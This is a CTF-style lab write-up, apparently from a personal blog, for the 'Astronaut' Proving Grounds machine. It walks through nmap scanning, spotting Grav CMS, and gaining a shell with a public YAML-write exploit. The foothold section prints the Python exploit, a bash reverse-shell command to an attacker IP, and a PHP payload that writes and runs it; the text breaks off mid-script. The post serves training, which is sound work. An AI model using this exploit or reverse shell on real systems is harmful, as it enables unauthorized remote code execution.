{"id":138,"date":"2024-05-27T18:20:22","date_gmt":"2024-05-27T18:20:22","guid":{"rendered":"https:\/\/bencron.com\/?p=138"},"modified":"2024-06-21T19:12:14","modified_gmt":"2024-06-21T19:12:14","slug":"astronaut-offsec-proving-grounds-practice","status":"publish","type":"post","link":"https:\/\/bencron.com\/?p=138","title":{"rendered":"Astronaut &#8211; OffSec Proving Grounds (Practice)"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading has-text-align-center\">The Summary<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Platform Site<\/strong><\/td><td>OffSec Proving Grounds (Practice)<\/td><\/tr><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Hostname<\/strong><\/td><td>astronaut<\/td><\/tr><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Domain<\/strong><\/td><td>astronaut.offsec<\/td><\/tr><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Operating System \/ Architecture<\/strong><\/td><td>Linux \/ x86-64<\/td><\/tr><tr><td class=\"has-text-align-right\" data-align=\"right\"><strong>Rating<\/strong><\/td><td>Easy<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>This is a write up for the &#8220;Astronaut&#8221; vulnerable machine from the Offensive Security Proving Grounds (Practice) labs. I will show the testing process and successful exploitation of the machine, from initial scanning to obtaining the proof flag.<\/p>\n\n\n\n<p>Within the report, I will expand on certain aspects of the test to provide a more granular explanation of areas which are of interest (mainly to the author).<\/p>\n\n\n\n<p>At the end there will be a debriefing section for review of the test or creation of this report.<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-text-align-center\">The Attack<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Scanning &amp; Prelims<\/h3>\n\n\n\n<p>After I get the test environment set up, I proceed with an NMAP scan. Below is the command I like to enter with a breakdown of it, followed by the scan output.<\/p>\n\n\n\n<p>NMAP Command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -T4 -A -p- xx.xx.xx.xx -oA nmap-XXXXXXX --webxml<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>nmap<\/code> &#8211;&gt; the application<\/li>\n\n\n\n<li><code>-T4<\/code> &#8211;&gt; timing set to aggressive (4)<\/li>\n\n\n\n<li><code>-A -p-<\/code> &#8211;&gt; enables all scans &amp; scans all ports<\/li>\n\n\n\n<li><code>xx.xx.xx.xx<\/code> &#8211;&gt; target IP address<\/li>\n\n\n\n<li><code>-oA<\/code> &#8211;&gt; output All file types: normal, grepable, XML<\/li>\n\n\n\n<li><code>nmap-XXXXXX<\/code> &#8211;&gt; names of output files (XXXX changes per testers choice)<\/li>\n\n\n\n<li><code>--webxml<\/code> &#8211;&gt; can move &amp; view the XML easily on another machine.<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">NMAP &#8211; Output<\/span><span role=\"button\" tabindex=\"0\" data-code=\"Starting Nmap 7.93 ( https:\/\/nmap.org ) at 2024-05-02 12:02 EDT\nNmap scan report for astronaut.offsec (192.168.217.12)\nHost is up (0.032s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 984e5de1e697296fd9e0d482a8f64f3f (RSA)\n|   256 5723571ffd7706be256661146dae5e98 (ECDSA)\n|_  256 c79baad5a6333591341eefcf61a8301c (ED25519)\n80\/tcp open  http    Apache httpd 2.4.41\n|_http-title: Index of \/\n| http-ls: Volume \/\n| SIZE  TIME              FILENAME\n| -     2021-03-17 17:46  grav-admin\/\n|_\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\nTCP\/IP fingerprint:\nOS:SCAN(V=7.93%E=4%D=5\/2%OT=22%CT=1%CU=35305%PV=Y%DS=4%DC=T%G=Y%TM=6633B933\nOS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=103%TI=Z%II=I%TS=A)OPS(O1=M5\nOS:51ST11NW7%O2=M551ST11NW7%O3=M551NNT11NW7%O4=M551ST11NW7%O5=M551ST11NW7%O\nOS:6=M551ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%D\nOS:F=Y%T=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0\nOS:%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T\nOS:6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=C46\nOS:C%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)\n\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">Starting Nmap 7.93 ( https:\/\/nmap.org ) at 2024-05-02 12:02 EDT<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">Nmap scan report for astronaut.offsec (192.168.217.12)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">Host is up (0.032s latency).<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">Not shown: 65533 closed tcp ports (reset)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">PORT   STATE SERVICE VERSION<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| ssh-hostkey: <\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|   3072 984e5de1e697296fd9e0d482a8f64f3f (RSA)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|   256 5723571ffd7706be256661146dae5e98 (ECDSA)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_  256 c79baad5a6333591341eefcf61a8301c (ED25519)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">80\/tcp open  http    Apache httpd 2.4.41<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_http-title: Index of \/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| http-ls: Volume \/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| SIZE  TIME              FILENAME<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| -     2021-03-17 17:46  grav-admin\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_http-server-header: Apache\/2.4.41 (Ubuntu)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">No exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">TCP\/IP fingerprint:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:SCAN(V=7.93%E=4%D=5\/2%OT=22%CT=1%CU=35305%PV=Y%DS=4%DC=T%G=Y%TM=6633B933<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=103%TI=Z%II=I%TS=A)OPS(O1=M5<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:51ST11NW7%O2=M551ST11NW7%O3=M551NNT11NW7%O4=M551ST11NW7%O5=M551ST11NW7%O<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:6=M551ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%D<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:F=Y%T=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=C46<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">OS:C%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p>While scanning, I set up notes for this machine. I also edit the <code>\/etc\/hosts<\/code> file in Kali to associate a domain of my choosing to the IP address provided by the Platform Site. The entry is often edited during testing when new domains are found.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Service Enumeration<\/h3>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">SSH<\/span><span role=\"button\" tabindex=\"0\" data-code=\"22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 984e5de1e697296fd9e0d482a8f64f3f (RSA)\n|   256 5723571ffd7706be256661146dae5e98 (ECDSA)\n|_  256 c79baad5a6333591341eefcf61a8301c (ED25519)\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| ssh-hostkey: <\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|   3072 984e5de1e697296fd9e0d482a8f64f3f (RSA)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|   256 5723571ffd7706be256661146dae5e98 (ECDSA)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_  256 c79baad5a6333591341eefcf61a8301c (ED25519)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Experience tells me, &#8220;It&#8217;s never SSH&#8221;. It is best to try other services first. But if being thorough is desired, do a google search of: OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 vulnerabilities. In cases like this, most results are from people testing other vulnerable machines.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">HTTP<\/span><span role=\"button\" tabindex=\"0\" data-code=\"80\/tcp open  http    Apache httpd 2.4.41\n|_http-title: Index of \/\n| http-ls: Volume \/\n| SIZE  TIME              FILENAME\n| -     2021-03-17 17:46  grav-admin\/\n|_\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">80\/tcp open  http    Apache httpd 2.4.41<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_http-title: Index of \/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| http-ls: Volume \/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| SIZE  TIME              FILENAME<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">| -     2021-03-17 17:46  grav-admin\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">|_http-server-header: Apache\/2.4.41 (Ubuntu)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>HTTP, now we&#8217;re talking. Accessing the website brings the following<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"494\" height=\"266\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image.png\" alt=\"\" class=\"wp-image-146\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image.png 494w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-300x162.png 300w\" sizes=\"auto, (max-width: 494px) 100vw, 494px\" \/><\/figure>\n\n\n\n<p>Opening the directory brings up a default web page for Grav CMS. Some online searching shows Grav CMS is a Contant Managemnt System for creating website. It seems to be focused on simplicity and ease of use for the user. Their logo is an Astronaut, making it clear how this machine received its name. Many creators of these machines name them as a clue to what&#8217;s vulnerable.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"316\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-26.png\" alt=\"\" class=\"wp-image-181\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-26.png 684w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-26-300x139.png 300w\" sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/figure>\n\n\n\n<p>Checking in with Wappalyzer corroborates the existence of GRAV CMS as well as other interesting information. The existence of PHP is worth noting for crafting potential payloads.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"501\" height=\"392\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-3.png\" alt=\"\" class=\"wp-image-149\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-3.png 501w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-3-300x235.png 300w\" sizes=\"auto, (max-width: 501px) 100vw, 501px\" \/><\/figure>\n\n\n\n<p>A google search for &#8220;Grav CMS admin page&#8221; brings some results. There is a github repo which list the path location of the admin page.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"524\" height=\"281\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-4.png\" alt=\"\" class=\"wp-image-150\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-4.png 524w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-4-300x161.png 300w\" sizes=\"auto, (max-width: 524px) 100vw, 524px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"513\" height=\"635\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-5.png\" alt=\"\" class=\"wp-image-151\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-5.png 513w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-5-242x300.png 242w\" sizes=\"auto, (max-width: 513px) 100vw, 513px\" \/><\/figure>\n\n\n\n<p>Several attempts at running easy default credentials such as <code>admin:admin<\/code> failed.<\/p>\n\n\n\n<p>I decided to do a check of <code>searchsploit<\/code> to see if there are any known vulnerabilities and exploits.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>searchsploit GravCMS<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"234\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-7-1024x234.png\" alt=\"\" class=\"wp-image-153\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-7-1024x234.png 1024w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-7-300x69.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-7-768x175.png 768w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-7.png 1112w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The &#8220;Arbitrary YAML Write\/Update (Unauthenticated)&#8221; exploit proved to be successful. Details in the next section.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The Foothold<\/h3>\n\n\n\n<p>The successful exploit is a python script run from the Attacker\/Kali machine. According to the documentation in the script, the creator of the script goes by &#8220;legend&#8221; and the original author was Mehmet INCE. Thank you, for your contributions.<\/p>\n\n\n\n<p>Below is a screenshot of the script. I will provide a brief &#8220;How-to&#8221; to execute the exploit for those just wanting to break the machine. Later, as a learning exercise, I will provide a more detailed look into what is happening.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"861\" height=\"594\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-9.png\" alt=\"\" class=\"wp-image-157\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-9.png 861w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-9-300x207.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-9-768x530.png 768w\" sizes=\"auto, (max-width: 861px) 100vw, 861px\" \/><\/figure>\n\n\n\n<p>The script has the target IP address as http:\/\/192.168.1.2. This will need to be changed to the IP of our Astronaut machine.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Simply Copy &amp; Paste the Astronaut IP into the appropriate spot<\/li>\n<\/ul>\n\n\n\n<p>Then, the script provides an author&#8217;s comment telling the user how to create the base64 encoded command (a php reverse shell) that will be replaced into the payload (payload=b)<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Copy the command into a Kali terminal, being sure to change the IP\/port to that of your Kali IP and port that your netcat listener will be on<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"875\" height=\"87\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-8.png\" alt=\"\" class=\"wp-image-156\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-8.png 875w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-8-300x30.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-8-768x76.png 768w\" sizes=\"auto, (max-width: 875px) 100vw, 875px\" \/><\/figure>\n\n\n\n<p>Copy &amp; Paste the newly created string and the other changes into the python exploit.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>NOTE: Be sure to include the proper path in the Astronaut IP address &#8211;&gt; <code>http:\/\/xx.xx.xx.xx\/grav-admin<\/code><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"580\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-13-1024x580.png\" alt=\"\" class=\"wp-image-164\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-13-1024x580.png 1024w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-13-300x170.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-13-768x435.png 768w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-13.png 1118w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Set up a netcat listener on the port used in the Base64 encoded string. Save and execute the exploit. The uploaded exploit will self execute. It may take a minute.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"710\" height=\"61\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-14.png\" alt=\"\" class=\"wp-image-165\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-14.png 710w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-14-300x26.png 300w\" sizes=\"auto, (max-width: 710px) 100vw, 710px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"934\" height=\"258\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-15.png\" alt=\"\" class=\"wp-image-166\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-15.png 934w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-15-300x83.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-15-768x212.png 768w\" sizes=\"auto, (max-width: 934px) 100vw, 934px\" \/><\/figure>\n\n\n\n<p>There is now a shell as user &#8220;www-data&#8221;. If you wish to move on to the privilege escalation section, no one&#8217;s stopping you. However I am going to backtrack and explain the script. There will be code blocks of the original script, followed by explanations.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Script Breakdown<\/h4>\n\n\n\n<p>This is a scroll-able version of the entire script. Beneath it I will break it down into smaller section with explanations.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">Python<\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #545454; font-style: italic\">#\/usr\/bin\/python3<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> requests<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> sys<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> re<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> base64<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">target<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.157.12\/grav-admin<\/span><span style=\"color: #89DDFF\">&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #545454; font-style: italic\">#Change base64 encoded value with with below command.<\/span><\/span>\n<span class=\"line\"><span style=\"color: #545454; font-style: italic\">#echo -ne &quot;bash -i &gt;&amp; \/dev\/tcp\/192.168.45.155\/4444 0&gt;&amp;1&quot; | base64 -w0<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">b<\/span><span style=\"color: #89DDFF\">&quot;&quot;&quot;<\/span><span style=\"color: #C3E88D\">\/*&lt;?php \/**\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #C3E88D\">file_put_contents(&#39;\/tmp\/rev.sh&#39;,base64_decode(&#39;YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE1NS80NDQ0IDA+JjE=&#39;));chmod(&#39;\/tmp\/rev.sh&#39;,0755);system(&#39;bash \/tmp\/rev.sh&#39;);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF\">&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">s <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> requests<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">Session<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">r <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> s<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">get<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">target<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">\/admin<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line cbp-see-more-line \"><span style=\"color: #EEFFFF\">adminNonce <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> re<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">search<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">r<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">admin-nonce&quot; value=&quot;<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C3E88D\">.<\/span><span style=\"color: #89DDFF\">*)<\/span><span style=\"color: #C3E88D\">&quot;<\/span><span style=\"color: 